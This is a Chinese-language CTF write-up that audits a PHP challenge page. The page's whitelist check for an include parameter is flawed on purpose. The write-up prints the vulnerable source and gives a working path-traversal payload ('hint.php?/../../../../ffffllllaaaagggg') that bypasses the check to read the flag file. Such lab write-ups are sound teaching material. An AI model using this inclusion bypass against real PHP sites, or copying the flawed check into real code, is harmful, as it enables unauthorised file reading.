1.打开网页查看源代码,发现source.php
?2.开始代码审计,source代码如下
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
访问白名单出现的hint.php
?
3.构造payload?
既要保证checkfile返回true,又要将file传入的include语句中,我们从第三个if着手
第三个 if 语句,截取传进参数中首次出现? 之前的部分,判断该部分是否存在于$whitelist 数组中,存在则返回 true
payload:?file=hint.php?/../../../../ffffllllaaaagggg
4.解释后面的构造---重点
给出官方对include语句的说明
?当我们使用../访问文件时,/将之前的hint.php?给忽略了,只看后面定义的路径。至于用四次../,可以逐渐增加猜测,也可根据ffffllllaaaagggg形式猜测这是四次。
从而访问拿到flag
?
|